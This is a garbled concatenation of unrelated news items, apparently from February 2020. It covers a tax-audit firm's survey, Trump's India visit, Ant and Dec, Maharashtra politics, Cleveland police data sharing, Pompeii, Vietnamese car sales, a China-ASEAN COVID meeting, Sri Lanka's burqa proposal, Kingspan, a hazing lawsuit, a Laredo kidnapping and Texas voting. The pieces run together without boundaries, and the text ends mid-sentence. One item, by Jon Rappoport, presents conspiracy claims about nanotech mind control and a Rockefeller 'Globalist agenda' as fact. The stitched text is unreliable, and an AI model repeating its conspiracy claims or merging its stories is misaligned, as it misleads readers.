IRS and state taxing authority audits and examinations and defends taxpayers from the moment they receive an audit notice through to the best possible resolution. Members receive expert tax representation and relief from the nightmare of being audited at a price point any taxpayer can afford. The company also offers Tax Debt Relief Assistance to taxpayers who owe back taxes to the IRS or state government. TaxAudit is headquartered in Folsom, CA, but provides representation services wherever the taxpayer is located. Survey Methodology The online survey of 1,050 respondents was conducted via SurveyMonkey from January 31 to February 1, 2020. The survey utilized SurveyMonkey Audience and surveyed men and women over the age of 18 located in the United States. SOURCE TaxAudit Related Links http://www.taxaudit.com By Jon Rappoport From lexico.com: nanotechnology: The branch of technology that deals with dimensions and tolerances of less than 100 nanometers, especially the manipulation of individual atoms and molecules. The recent arrest of Harvard pioneer in the field of nanotechnology, Charles Lieberon charges of lying to federal authorities about his business connections to Chinahas exposed wide-ranging relationships among American and Chinese researchers. These relationships include, above all, the open sharing of sensitive technologies that, once upon a time, would have been considered closely guarded state secrets. (See my recent piece, Behind the explosive Charles Lieber scandal.) Here are quotes from the journal Nano Today, from a 2019 paper titled: Nanowire probes could drive high-resolution brain-machine interfaces. Its authors are Chinese and American: advances can enable investigations of dynamics in the brain [through tiny sensor-implants] and drive the development of new brain-machine interfaces with unprecedented resolution and precision. output electrical signals of brain activity or input electrical stimuli to modulate brain activity in concert with external machines, including computer processors and prosthetics, for human enhancement Aside from research into prosthetics and, perhaps, the reversal of certain paralyses, this avenue of investigation also suggests modulation of the brain, hooked to machines, for the purpose of control. Control of thoughts, sensations, emotions. And along with the Internet of Things, why couldnt that control eventually be extended, in order to harmonize many, many brains with one another? Who would be interested in such a thing? Think Chinese government, DARPA (the technology arm of the Pentagon), and numerous other international actors. Think Rockefeller medical researchers. Think technocracy and Brave New World. Over the past few decades, the flow of all sorts of ultra-sensitive scientific information, between the US and China, hasnt consisted of rare leaks. Its a flood, out in the open, in labs and universities. All part of the new share-and-care Globalist agenda. Nanotechnology, to choose one branch of such research-exchange, has applications in weaponry, transportation, surveillance, medicine, etc. And of course, mind control. Look, Im certainly willing to share my latest research on nano-brain implants. But I need your, ahem, assurance that your government wont use this for dark purposes. I understand completely. My government would no more do that than your government would. All right. Then were good. Yes. Good. How did US-China relations get to this point? At one time, it appeared the two governments were involved in a cold war. Oh, thats right, President Nixon opened up China to trade, in 1972, after 25 years of no diplomatic relations. Nixon was the agent of David Rockefeller, who, years earlier, had rescued him from a broken career as a politician. David Rockefeller, arch Globalist. Heres what Rockefeller blithely wrote in 1973, a year after Nixon had worked his China miracle: Whatever the price of the Chinese Revolution, it has obviously succeeded not only in producing more efficient and dedicated administration, but also in fostering high morale and community of purpose. The social experiment in China under Chairman Maos leadership is one of the most important and successful in human history. (From a China Traveler, New York Times, August 10, 1973.) Millions of people dead, freedom crushed, a whole population under the boot of the Communist regime, but somehow thats not what David Rockefeller saw, or pretended to see. He, like other of his elite Globalist colleagues, admired the Chinese government for the capacity to control its own people, to such a high degree. Flash forward 47 years. Scientists from both countries are blowing each other kisses, as they collaborate on developing a technology that has the potential to gain intimate influence inside the human brain itself. Of course, remember, when political push comes to shove, and it always does, China is the friend of China. In the case of American corporate and government big shots, hometown loyalty tends to be conditional, depending on which sources and countries are putting money on the table. (To read about Jons mega-collection, The Matrix Revealed, click here.) The author of three explosive collections, THE MATRIX REVEALED, EXIT FROM THE MATRIX, and POWER OUTSIDE THE MATRIX, Jon was a candidate for a US Congressional seat in the 29th District of California. He maintains a consulting practice for private clients, the purpose of which is the expansion of personal creative power. Nominated for a Pulitzer Prize, he has worked as an investigative reporter for 30 years, writing articles on politics, medicine, and health for CBS Healthwatch, LA Weekly, Spin Magazine, Stern, and other newspapers and magazines in the US and Europe. Jon has delivered lectures and seminars on global politics, health, logic, and creative power to audiences around the world. You can sign up for his free NoMoreFakeNews emails here or his free OutsideTheRealityMachine emails here. Donald Trump and First Lady Melania are scheduled to travel to Ahmedabad, Agra and New Delhi on 24 and 25 February Washington: India has been hitting the US "very hard" on trade for many years with high tariffs, according to president Donald Trump who said he will "talk business" with prime minister Narendra Modi during his first visit to the country. Trump and First Lady Melania are scheduled to travel to Ahmedabad, Agra and New Delhi on 24 and 25 February. "I'm going to India next week and we're talking trade. They've been hitting us very hard for many, many years," Trump said at a 'Keep America Great' rally in Colorado on Thursday. Trump told thousands of his supporters that he "really likes" Prime Minister Narendra Modi and they would be talking business. "We've got to talk a little...We've got to talk a little business. It's been hitting us hard. They give us tariffs, one the highest in the world is India," he said. Ahead of Trump's visit, there have been reports on India and the US agreeing on a trade package as a precursor to a major trade deal. Downplaying the expectation of a trade deal with India during his visit, Trump said the two countries could make a "tremendous" trade deal, but indicated that the talks on this might slow down if he did not get a good deal. "We're going to India, and we may make a tremendous deal there," Trump said in his commencement address at the Hope for Prisoners Graduation Ceremony in Las Vegas on Thursday. "Maybe we'll slow down. We'll do it after the election. I think that could happen too. So, we'll see what happens," he said. "But we're only making deals if they're good deals because we're putting America first. Whether people like it or not, we're putting America first," Trump said. The bilateral India-US trade in goods and services is about three per cent of the US' world trade. In a recent report, the Congressional Research Service (CRS) said the trading relationship is more consequential for India, in 2018 the US was its second largest goods export market (16.0 percent share) after the European Union (EU, 17.8 percent), and third largest goods import supplier (6.3 percent) after China (14.6 percent) and the EU 28 (10.2 percent). India is now the United States' eighth-largest trading partner in goods and services and is among the world's largest economies. India's trade with the US now resembles, in terms of volume, America's trade with South Korea (USD 167 billion in 2018) or France (USD 129 billion), according to Council on Foreign Relations. Trump spoke about his India visit at the Colorado rally and the grand welcome he is expected to get in the country. "I hear, they are going to have 10 million people. They say anywhere from six to 10 million people are going to be showing up along the route to one of the largest stadiums in the world, the largest cricket stadium in the world, which is brand new and beautiful," Trump said. He said the "Namaste Trump" rally in Ahmedabad would spoil him. "Prime Minister Narendra Modi said, we will have 10 million people greet you. Here's my problem. We have a packed house. We have a lot of people, thousands of people that couldn't get in. It's going to look like peanuts from now on," he said. "I'll never be satisfied with the crowd. If we have 10 million people in India, how can I be satisfied when we fill up like a 60,000 seat stadium? I am getting spoiled? He said build a bigger stadium visit," Trump said. One of his supporters from the audience suggested that he built a bigger stadium. Trump indicated that his visit will result in more products "proudly stamped with the beautiful phrase Made in the USA". During the address, the president reiterated his recent conversation with Facebook CEO Mark Zuckerberg who told him that he is the number one on Facebook. "He (Zuckerberg) said, I just want to congratulate you. He said, you're number one in the world in Facebook. I said, no. I said, who's number two? He said, Prime Minister Modi of India," Trump said, adding that Modi has an advantage as he represents a larger population. "I said, wait a minute, wait a minute. He's got 1.5 billion people and we have 350 (million). He should be number one, but we're never going to give up that position of number one in the world for our country, for Facebook, for Twitter, anything, and they (the press) still haven't figured it out. They have not figured it out. But look at all that press. Look at all that press," Trump said. Anthony McPartlin and Declan Donnelly attend the National Television Awards 2020 (Karwai Tang/WireImage) Ant McPartlin made a light-hearted joke about his past troubles as he was quizzed by Richard Madeley and Judy Finnigan on This Morning. The TV star and his presenting partner Declan Donnelly went on the ITV morning show to talk about the return of their series Saturday Night Takeaway, which didnt air in 2019 following McPartlins drink-drive charge and stint in rehab. At one point, Madeley and Finnigan - who were making a special one-off return to the sofa - started talking about what happens when things go wrong on TV, and Madeley asked whether they had ever had a complete breakdown. Read more: Ant and Dec make Prince Andrew sweat joke Bursting into laughter, McPartlin replied: That's happened! 'We'd love to do a sitcom'.@antanddec talk future plans as they prepare for the brand new series of #SaturdayNightTakeawayhttps://t.co/aQoM9mbdgR This Morning (@thismorning) February 21, 2020 McPartlin and Donnelly also opened up about still battling nerves despite being veterans of the small screen. Both of the presenters said they still get nervous, and McPartlin added: Especially for Takeaway, because we rested last year so had a longer period off air, so you do get very nervous bringing it back. Donnelly admitted he sometimes gets anxiety dreams. He said: 'Ive got a TV in my bedroom with a little red standby light on it. I wake up and I see that light in the middle of the night and Im like, Oh, were on. Im not ready! Read more: Dec admits he thought partnership would not survive McPartlin pleaded guilty to drink-driving in April 2018 after he was found to be more than twice the legal alcohol limit while driving his Mini in London in March 2018. Story continues He did not work for several months and sought rehabilitation treatment, leaving Donnelly to host Britains Got Talent and Im A Celebrity... Get Me Out Of Here! without him. This Morning airs from 10am until 12.30pm. Saturday Night Takeaway returns to ITV on Saturday (February 22). An arriving passenger's temperature is checked Feb. 4, 2020, at the Shanghai Pudong International Airport in Shanghai. The outbreak of the new virus threatens to erase $29 billion of this year's revenue for global airlines, mostly for Chinese carriers, according to the International Air Transport Association. Global air traffic will be reduced by 4.7% for the year, the IATA said. (Noel Celis/AFP/Getty Images/NOEL CELIS/AFP/Getty Images North America/TNS) Congress-NCP-Sena leaders discount reading too much into the meeting between the Maharashtra CM and prime minister. Prasanna D Zore/Rediff.com reports. IMAGE: Maharashtra Chief Minister Uddhav Thackeray meets Prime Minister Narendra Damodardas Modi for the first time after being sworn in as CM, December 7, 2019. Photograph: @OfficeofUT/Twitter Even as instances of friction between the three Maha Vikas Aghadi partners -- the Shiv Sena, the Congress and Nationalist Congress Party -- keep surfacing regularly over issues like the Citizenship (Amendment) Act, the National Register of Citizens, the handing over of the investigation into the Bhima-Koregaon violence to the National Investigation Agency or the open espousal of Hindutva causes related to the construction of the Ram Mandir in Ayodhya by the Shiv Sena, the two alliance partners with divergent views to that of the Sena say there is no danger to the stability and functioning of the Maharashtra government despite murmuring about the 'courtesy call' between Chief Minister Uddhav Thackeray and Prime Minister Narendra Damodardas Modi take centrestage. "Let the people say whatever they want to. Modiji is India's prime minister. Many chief ministers meet him for discussions or courtesy calls; the Maharashtra CM is also meeting him. What's wrong in it?" asks NCP spokesperson and Maharashtra's Minority Affairs Minister Nawab Malik. Recently, the NCP had a run-in with the Shiv Sena over the handing over of the Elgar Parishad case to the NIA. When NCP President Sharad Pawar expressed his displeasure over the issue, Malik announced that the state government will form a special investigation team to probe the violence. The NCP's Anil Deshmukh helms Maharashtra's home ministry. "There is no difference of opinion between the Shiv Sena and NCP as far as the Bhima-Koregaon issue is concerned. Those spreading such canards should get their head and eyes checked," says Malik. "(West Bengal Chief Minister) Mamata Banerjee also meets the prime minister. Is it the first time that a non-BJP (Bharatiya Janata Party) CM is going to meet the PM? It makes no sense to look at this meeting from the lens of other issues," says senior Congress leader Manikrao Thakre. The Congress and Shiv Sena have often engaged in verbal duels over the CAA-NRC issue. While Thackeray has made it clear that he sees no problem in implementing the CAA and NPR in Maharashtra, he has also categorically assured the alliance partners that the NRC will not be implemented. "Their ideology is different from ours. Did we ever say that we subscribe to the same ideology? None of the alliance partners has any right to ask the other to dilute their ideologies," says Thakre. "We have come together to fulfill a common minimum programme for the state's development and all the three parties in the MVA are committed to this CMP," says Thakre when asked about the political tussles among the alliance partners and their ideological baggage. "These issues will not have any impact on the stability of the government," he adds. Thakre says he has briefed Congress President Sonia Gandhi about the government's functioning and she expressed her happiness about the way the MVA government is ruling the state. Shiv Sena spokesperson and Deputy Chairman of the Maharshtra Legislative Council Dr Neelam Gorhe says the CM's meeting with Modi can be looked upon as a "courtesy call". "Uddhavji has had a longstanding relationship with Narendra Modiji and the two could discuss other issues (related to Maharashtra) during this meeting as well," Dr Gorhe says. "The same can be said about Uddhavji's meeting with Congress President Sonia Gandhi. Though courtesy calls, both visits are important from the point of view of Maharashtra's development," Dr Gorhe adds. Justifying the meeting between her party leader and the Congress president, she says, "Sonia Gandhi is the president of a party with whom we have an alliance in Maharashtra and so meeting her also assumes as much significance as the chief minister's meeting the prime minister." All the three leaders are of the view that the Maharashtra CM may raise issues related to the state's development during his courtesy call on the prime minister. "Wait for the CM's press conference after his meetings with the prime minister and Soniaji and you will know what happened during these visits," says Malik when asked if the three alliance partners had chalked out issues to be raised during Thackeray's meeting with Modi. (TNS) Cleveland police is the lone holdout in a years long county-wide effort that would help police departments in Cuyahoga Countys 58 communities to better share crime data and information.City police officials have not explained in detail why they dont want to join the project that collects police reports and investigative information from municipal police departments in the county and makes the information searchable and available to police officers and detectives.This has not stopped Cleveland police from requesting access to information already contained in the data collected by other communities through the program that it has thus far refused to participate.The project, known as the Data Warehouse, also collects information from the countys automatic license-plate readers that help police track cars involved in crimes. The project goal is to aid police with more detailed information than statewide databases such as the Ohio Law Enforcement Automated Data System operated by the Ohio State Highway Patrol. The effort began in 2017 and was launched for participating department in June 2019.The projects success, however, is incumbent upon getting cities to agree to share data, especially because criminals regularly commit crimes across city lines. Fifty-five of 58 municipal police agencies already agreed, and the other two Westlake and Beachwood said they expect to officially sign off on joining the program in the coming weeks.Cleveland city and police officials did not make anyone available for an interview, but Cleveland Police Chief Calvin Williams said in an emailed statement sent through a spokeswoman that collaboration with other law enforcement agencies is a top priority, and that the department is still trying to determine after more than two years if they want to join.The Division is currently evaluating all aspects of the program to ensure conditions of participation are understood and that this best fits the needs of the City of Cleveland and the Division of Police, Williams statement said.Without Cleveland by far the largest police force service the largest community suburban police cannot access key information that could help them solve cases or use the data to strategize how to police areas of their communities that border Cleveland.Its a great system and tool for us and the municipalities, but the system is only as good as the information entered into it, Cuyahoga County Sheriff David Schilling said.Cuyahoga County Prosecutor Michael OMalley chairs the board that oversees the development and implementation of the county-wide records system. Cleveland police asked board members two weeks ago if they could access the countys license-plate readers without having to share their own information.The request shocked OMalley and other board members, including Chagrin Valley Dispatch Centers IT Director, Dan Grein, a retired Beachwood police officer, both said.Theres been a lot of talk from them for years but it never goes anywhere, Grein said.Cleveland would not have to spend any extra money to share information. Cuyahoga County spent some three years finding a system that would work with the different police departments varying police-report systems.Mike Herb, a former Cuyahoga County official oversaw the project for two years, said each department needs to make small tweaks to its records systems, but the county assumes the full cost and maintenance of the project that cost $2.2 million to get up and running.Federal grants paid for about $1.2 million and the county covered the rest through a $5 fee attached to court costs in traffic violation convictions across the county. Those fees will also pay for the annual $488,000 annual cost of the systems upkeep.Cuyahoga County first sought to consolidate police information in 2011 and created the Regional Enterprise Data Sharing System. But that system only allowed police agencies using the same records system to see each others reports.Cuyahoga County Executive Armond Budish during his 2017 State-of-the-County speech announced the Data Warehouse initiative. The county contracted with Chagrin Valley Dispatch Center, who hired the Beachwood-based Online Dynamics, who developed the coding that allowed for more seamless information sharing regardless of the police departments varying records system, Herb said.The system was expected to launch in late 2017, but Herb said it took time to convince the multitude of regional police chiefs of the programs value. Herb said the municipalities also had law departments review the plans.There was always reservations about sharing what is really yours, Herb said. There were conversations about the legality of taking in everyones data. Criminals dont have boundaries, and were trying to bring down those walls that separate everyones data.Herb said the county also integrated the license-plate readers and a new tool that allows officers to access digital copies of protection orders, which are not available through the statewide databases.Its a more in-depth look into an individual than what you would normally get with LEADS so you know what youre up against, Schilling said. Its a safety tool and another way to get information out there thats really needed on the streets. We're always interested in hearing about news in our community. Let us know what's going on! Go to form Vivid frescoes and never-before-seen inscriptions were among the treasures unearthed in a massive years-long restoration of the world-famous archaeological site Pompeii that came to a close Tuesday. The painstaking project saw an army of workers reinforce walls, repair collapsing structures and excavate untouched areas of the sprawling site, Italys second most visited tourist destination after Romes Colosseum. New discoveries were made too, in areas of the ruins not yet explored by modern-day archaeologists at the site -- frequently pillaged for jewels and artefacts over the centuries. When you excavate in Pompeii there are always surprises, the sites general director Massimo Osanna told reporters Tuesday. Archaeologists discovered in October a vivid fresco depicting an armour-clad gladiator standing victorious as his wounded opponent gushes blood, painted in a tavern believed to have housed the fighters as well as prostitutes. And in 2018, an inscription was uncovered that proves the city near Naples was destroyed after October 17, 79 AD, and not on August 24 as previously believed. That might not be the end of fresh discoveries. Its certain that by carrying out other excavation projects in areas never explored before, the discoveries will be extraordinary, Osanna added. SEE PHOTOS: Pompeiis House of Lovers reopens to public after 40 years Kicked off in 2014, the restoration enlisted teams of archaeologists, architects, engineers, geologists and anthropologists and cost $113 million (105 million euros), largely covered by the European Union. The project was initiated after UNESCO warned in 2013 it could strip the site of its World Heritage status after a series of collapses blamed on lax maintenance and bad weather. But the project has breathed new life into the historic site. On Tuesday, workers carefully restored ancient frescoes, hues dulled by years of dirt and calcifications, and cleaned off centuries-old tile floors. You have to be careful not to take off too much, explained Aldo Guida, who was scratching at the surface of the oxblood walls of the House of Lovers, a two-storey home in the complex that was closed for repair after an earthquake in 1980. Little by little, he added, with a smile. The giant eruption of Mount Vesuvius devastated the ancient Roman city of Pompeii nearly 2,000 years ago, covering everything in its path with volcanic ash. That sediment helped to preserve many buildings almost in their original state, as well as the curled-up corpses of Vesuvius victims. Some of the site has been closed to the public during the restoration, including several domus -- family residences for the upper classes -- that have been since reopened to the public. The House of Orchards domus features intricately detailed frescoes of fruit trees and birds, while the House of the Ship Europa boasts a sketch of a large merchant ship. Though the bulk of the restoration work is now complete, director Osanna said running repairs will never truly be over. Its a city in ruins, he said. The attention we pay to it must never stop. (This story has been published from a wire agency feed without modifications to the text.) Follow more stories on Facebook and Twitter South Korea's Hyundai Accent and Japan's Toyota Vios, the two most-sold car models in January. Photo by VnExpress/Huy Duc. South Korean cars have surged past their Japanese rivals to the top spot in Vietnam, with six of them making the top 10 list. In the January list of top selling cars compiled by the Vietnam Automobile Manufacturers Association (VAMA), the Accent, a subcompact made by South Koreas Hyundai, sold 1,733 units to take over as the most popular from Japans Toyota Vios (1,598 units), which had been number one since 2014. The two models are direct competitors in the B-segment (small family car), and this is the first time the Accent has topped sales. Hyundais small-size urban Grand i10 was in third place with 1,586 units. Last year it was the most popular A-segment (mini car) model, accounting for over 45 percent of sales in the segment. According to industry insiders, South Korean cars generally have lower brand recognition and are less renowned than Japanese cars for quality and reliability. But South Korean manufacturers are constantly changing designs and functions in their vehicles, and have greater flexibility in pricing, which helps them attract customers, they said. A total of 15,787 vehicles were sold in Vietnam in January, down 52 percent from the previous month and 53 percent year-on-year, according to VAMA. The business group attributed the decline in sales to the Lunar New Year (Tet) holidays, when the country took a week off (January 23-29). The festival is usually a quiet period for the auto market, with people tending to buy cars around a month before it and sales falling subsequently, it added. Chinese State Councilor and Foreign Minister Wang Yi (L6) and foreign ministers of ASEAN countries attend the Special ASEAN-China Foreign Ministers' Meeting on Coronavirus Disease in Vientiane, Laos, Feb. 20, 2020. (Photo by Kaikeo Saiyasane/Xinhua) Chinese State Councilor and Foreign Minister Wang Yi said China and ASEAN countries should effectively prevent the COVID-19 epidemic from spreading by carrying out closer and more active cooperation, so as to safeguard the health and lives of the people and to forge a closer China-ASEAN community of a shared future. VIENTIANE, Feb. 20 (Xinhua) -- China and the 10-member Association of Southeast Asian Nations (ASEAN) held a special foreign ministers' meeting on the novel coronavirus (COVID-19) outbreak here Thursday to discuss coordinating efforts in fighting the epidemic. The meeting was co-chaired by Wang Yi, Chinese State Councilor and Foreign Minister, and Teodoro Locsin, Foreign Secretary of the Philippines, the country coordinator of China-ASEAN relations. The meeting kicked off by playing a video clip showing Chinese people's concerted efforts to fight the COVID-19 outbreak and leaders of the 10 ASEAN countries showing firm support to China. The ministers made a rallying cry of "Stay strong, Wuhan! Stay strong, China!" at a joint photo session. During the meeting, Wang elaborated on the strong measures taken and the remarkable results achieved by China to battle the epidemic. Under the leadership of Chinese President Xi Jinping, 1.4 billion Chinese people have united to fight the virus, Wang said. China has adopted the most comprehensive, the most stringent and the most thorough preventive measures to establish a prevention system that is effectively stopping the disease from spreading, Wang said. The measures, implemented with the "China speed", have bought time for promptly saving patients and allowed the world to properly respond to the outbreak, showing China's role as a responsible major country, he said. Chinese State Councilor and Foreign Minister Wang Yi speaks at the Special ASEAN-China Foreign Ministers' Meeting on Coronavirus Disease in Vientiane, Laos, Feb. 20, 2020. (Photo by Kaikeo Saiyasane/Xinhua) "We firmly believe that under the leadership of the Communist Party of China and with the country's strong mobilizing ability, its system advantage and the overall national strength, China has the ability and confidence to completely defeat the epidemic as soon as possible," Wang said. The COVID-19 outbreak has posed challenges to China's economic and social development, but only in a temporary and limited way. Given the resilience and vitality of China's economy, the long-term positive economic trend would not change, he noted, adding that China will not only win the battle against the virus, but also endeavor to achieve its economic and social development goals. Epidemics see no boundaries, Wang said. Sharing a common future as brothers, China and ASEAN countries should effectively prevent the disease from spreading by carrying out closer and more active cooperation, so as to safeguard the health and lives of the people and to forge a closer China-ASEAN community of a shared future, he said. In this regard, Wang made a four-point cooperation proposal. Firstly, both sides should strengthen coordination for joint disease prevention and control. Efforts should be made to push forward the effective coordination and cooperation between health, quarantine, transport and immigration departments of both sides. The China-ASEAN special leaders' meeting on coronavirus disease should be held at a proper time to outline and guide the cooperation efforts from a higher level. Secondly, both sides should take a long-term perspective and establish long-acting cooperation mechanism. He proposed to establish a China-ASEAN public health emergency communication mechanism and a China-ASEAN anti-epidemic material reserve center to speed up the response against emergent health issues. The Special ASEAN-China Foreign Ministers' Meeting on Coronavirus Disease is held in Vientiane, Laos, Feb. 20, 2020. (Photo by Kaikeo Saiyasane/Xinhua) Thirdly, both sides should rationally deal with this epidemic and conquer panic. The professional advice from WHO experts should be respected, and the normal exchanges and cooperation among trade and commerce personnel between the two sides should be restored comprehensively at an ealier date. Fourthly, both sides should turn the crisis into opportunity and foster new cooperation growth points. ASEAN and China should push the economy to transform into an Internet and digital economy, enhance cooperation in areas such as digital commerce and mobile payment, and improve cities' management level to better cope with major urgent public incidents. Foreign ministers of ASEAN countries all highly appreciate China's firm measures to fight the novel coronavirus epidemic, and its highly responsible and transparent manner. They fully affirmed China's important contribution to safeguarding regional and global public health security, and believed the Chinese side is abound to defeat the epidemic at the earliest date. ASEAN countries are willing to strengthen cooperation and solidarity with China, exchange experiences and jointly promote the ability on health security in the region, they said. The meeting also adopted a statement on the coronavirus disease 2019. At the joint press conference after the meeting, Lao Foreign Minister Saleumxay Kommasith said at the special meeting, ASEAN foreign ministers, and the Chinese state councilor and foreign minister had jointly and comprehensively reviewed the joint efforts and commitments and charted future direction to further prevent and respond to the outbreak of COVID-19. "We have also shared with each other the best practices, lessons learnt and effective methods in surveillance, detecting and researches," he added. By PTI COLOMBO: A Sri Lankan parliamentary committee on national security has proposed an immediate ban on the burqa and suspending the registration of political parties on ethnic and religious basis, following the Easter Sunday terror attack that killed over 250 people. The proposals featured in a special report presented in Parliament on Thursday to resolve 14 controversial issues following the April 21 Easter attack last year. The report was tabled by MP Malith Jayatilaka, Chairman Sectoral Oversight Committee on National Security, the Daily Mirror reported. According to the report, a number of countries have already banned the burqa. The report suggested that the police should have the power to ask anyone wearing a face covering in a public place to take off such clothing in order to establish the identity of the person. If such a request is not complied with, police should have the power to arrest the individual without a warrant, the report said. It also recommended the country's Election Commission to enact a legislation to suspend the registration of political parties on ethnic and religious basis. The report also said that the registration of political parties which have some racial or religious conflict or in its name should also prohibited. Such a party should be converted into a political or non-religious political party within a specified period of time, the report said. The report states that all students studying in madrassas should be absorbed into the normal school system under the Ministry of Education within three years. The report also proposes to establish a special committee to regulate the madrasas under the Department of Muslim Religious and Cultural Affairs. Nine suicide bombers belonging to local Islamist extremist group National Thawheed Jamaat (NTJ) carried out a series of devastating blasts that tore through three churches and three luxury hotels on the Easter Sunday, killing 258 people, including 11 Indians. The building industry here has the capacity to expand housing output by 30% a year over the next few years, without causing huge strain, the chief executive of Kingspan has said. Gene Murtagh, who heads up the Irish multinational insulation board supplier, said it was clear that whoever emerged to form the next government would have to build more homes. He said last year's output of just over 20,000 housing units could be stepped up by 25% to 30% a year with ease, to eventually meet the estimated annual demand of 30,000 to 40,000 new homes, and the building industry could readily adjust to source the workers. If a large number of new homes were built, Kingspan could tap its share of the output, Mr Murtgh said. Unveiling its 2019 earnings, the Kingspan CEO said it had delivered a "solid" although not spectacular 12% uplift in trading profit, after Brexit and British political uncertainty weighed on demand for its products in Britain. Elsewhere, it posted "strong" sales in the Americas and in continental Europe with the exception of Germany. Net profit rose 13% to 377.8m as revenues increased 7% to more than 4.6bn. The UK accounts for a good slice of Kingspans global sales and the slowdown there in the months before the election victory by Boris Johnson, weighed on the company. Mr Murtagh said he had not since then detected anything of the scale of a so-called 'Boris bounce' for the British construction industry, but Kingspan order books had picked up there as recently as the last three or four weeks, though the size of any pickup remains unclear. Three or four months ago we were in the eye of the storm. Nobody knew whether Brexit was happening and nobody knew whether there would be a stable [London] government. And that curtailed investment, he said. Asked if Mr Johnson was opening the purse strings, Mr Murtagh said the extent to which Kingspan would benefit would depend on whether Mr Johnson invested in housing, and not through any UK increased spending on road and rail. Referring to UK election pledges, he said the company wasnt counting chickens just yet. However, he said he doubted whether the British government's plan for a points-based jobs permit would get implemented in its current form because the UK was effectively at full employment and the British prime minister would need extra EU workers if he were to implement his election investment pledges. And few people knew whether the UK and the EU would strike a final trade deal by the end of the year, he said. On acquisitions, Mr Murtgah said he had not detected market impatience for the company to step up its M& activity. We have taken it steady for a long time and that is going to be our continued strategy, he said. It could easily spend 750m this year and between 500m and 700m a year for the next couple of years on acquisitions, and was looking at plenty of active projects. But there was no single large deal in the pipeline, Mr Murtagh said. "Only a small portion [of M&A] is focused on Britain because our market shares for competition purposes wont allow it," and acquisition targets would instead be in continental Europe and North America, he said. Kingspan shares have climbed 66% in the past year, to value it at 11.7bn. A lawsuit has been settled between Virginia Tech and a former student who was accused of overseeing a ceremony that violated the schools hazing policy. The federal lawsuit filed last month has been resolved to the mutual satisfaction of both parties, Virginia Tech spokesman Mark Owczarski told The Roanoke Times on Wednesday. Darrien Brown sued the university, alleging that it denied him due process when administrators suspended him for two semesters for allegedly overseeing a Corps of Cadets blood-pinning ceremony in October. During the ceremony, the sharp ends of military pins are pushed into the chests of cadets. Browns lawsuit described the ceremony as a Corps tradition. Rob Dean, an attorney for Brown, declined to comment on the lawsuit, the Times reported. Neither Dean nor Owzarski would confirm whether Brown was readmitted to the university. Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Lawsuits InsurTech Tech Virginia The kidnapping reported over the weekend was drug related, according to Laredo police. READ MORE: Six jailed for alleged armed kidnapping in south Laredo Six individuals allegedly kidnapped Gerardo Villarreal, 46, because he lost a load of marijuana, according to an arrest affidavit. Authorities have identified the suspects as Jonathan Coronado, 18; Jesus Ortiz, 17; Luis Alberto Puente, 19; Cesar Leonel Tristan-Serrano, 32; Jorge Yguerabide, 18; and a 14-year-old boy identified only as EC. Each was charged with aggravated kidnapping. Webb County Jail records show the five adults remained in custody as of Wednesday evening. EC was turned over to juvenile authorities at the Webb County Youth Village. The case unfolded on Sunday when LPD police officers responded to a kidnapping report in south Laredo. A woman stated that she had received a cellphone video of her brother-in-law, Villarreal, blindfolded with his hands tied behind his back as multiple people held a handgun and assault rifle to his body, states the affidavit. The woman stated she had gone to the lake with her family. She returned and noticed that Villarreal was not home. Her 14-year-old daughter then received a message with the videos showing Villarreal. A witness stated to police that Villarreal was seen arguing with two people outside the home earlier in the afternoon. Police took the woman and her juvenile daughter to LPD headquarters for questioning. The juvenile stated that the incident stemmed from stolen bundles of marijuana that involved her 14-year-old boyfriend who was identified as EC. She stated she was with EC on Valentines Day. EC needed help in transporting some bundles of marijuana. He called his adult friend to help him pick up the bundles and transport them to another location. READ MORE: Laredo woman arrested during traffic stop after discovery of arrest warrant The boyfriends friend picked up the bundles of marijuana but failed to show up at the destination and allegedly stole the contraband, states the affidavit. Detectives made contact with EC and interviewed him at LPD with consent from his mother. EC confirmed that a friend of his had stolen a load of marijuana from his associates and that he was now responsible for the load, states the affidavit. EC stated he looked at the video and photographs and recognized the tile on the floor and stated that the residence belonged to another juvenile associate named JR, who is involved in drug and human smuggling, according to court documents. Authorities discovered that JRs mom was Alma Lucero Ortega, who had an address near the Arkansas intersection, according to the affidavit. LPD SWAT members raided the home and encountered Ortiz and Yguerabide. They were taken to the LPD headquarters for questioning since their clothing and footwear were consistent with two of the suspects holding Villarreal against his will, authorities said. ... Ortiz and Yguerabide confessed to being involved and stated that they were present while Villarreal was tied up and held against his will at (a home). In addition, Ortiz and Yguerabide stated that Villarreal was taken from (a) residence to a different location after the video was taken. Furthermore, Yguerabide acknowledged that he was the subject that is in the video holding the assault rifle, states the affidavit. A 16-year-old juvenile identified as PG confessed to police that he was present during the incident and identified his father, Tristan-Serrano, as the man armed with a handgun in the video. PG further stated that the hostage had stolen contraband, records state. He added that Luis Puente took the hostage to another residence. PG believed the hostage remained there. Investigators learned that Puente had taken Villarreal by force, according to court documents. SWAT members raided the residence and located Puente. Villarreal was not found. In a post-arrest interview, Puente stated that he was present when Villarreal was kidnapped and further confessed to going to the residence with his friend, Jonathan Coronado. Puente indicated that he also helped force the victim, Gerardo Villarreal, into the trunk of a passenger car, states the affidavit. Puente told police that Villarreal was still in Laredo at a home on Pecan Street. There, the LPD Juvenile and Gang Enforcement Team located Villarreal, who was seen running away from a residence. Villarreal was badly injured and beaten, states the affidavit. Villarreal was taken to a local hospital for treatment for his non-life threatening injuries and then released to relatives. Investigators also spoke to Coronado. He allegedly stated that he and Puente were involved in the initial kidnapping of Villarreal. READ MORE: Accident reported at WBCA Youth Parade, stalling parade temporarily Coronado stated he was also involved in driving Villarreal against his will to different addresses in south Laredo. Coronado further stated that he was present at the time the photographs were taken. In addition, Coronado indicated that he participated in striking Villarreal multiple (times) by punching and kicking him (while tied up and blindfolded) for the purpose of disciplining him for an apparent lost load of marijuana, states the affidavit. With one of the hottest congressional races in Texas on the ballot, turnout has more than doubled in the first three days of early voting in Fort Bend and Brazoria counties, compared with the same period in 2016. Those two counties combined have already seen more than 27,000 people vote in early voting or through absentee balloting. Four years ago, those counties combined to have just over 11,000 early votes in the same period. That amounts to a 149 percent increase over 2016, outpacing all other big counties in Texas. And its not just one party. In Fort Bend County, Republicans have seen their turnout jump 156 percent. Democrats went up 140 percent. In Brazoria County, Republicans were up 150 percent, while Democrats were up 140 percent. A big driver in both counties is the 22nd Congressional District race, in which 15 Republicans are battling in a wide-open primary. There are also four Democrats running in a primary in that district, as well as competitive primary races for the White House and the U.S. Senate. Know the candidates: San Antonio Express-News 2020 primary election voter guide; Houston Chronicle 2020 primary election voter guide More Information First three days of early voter turnout in large counties by 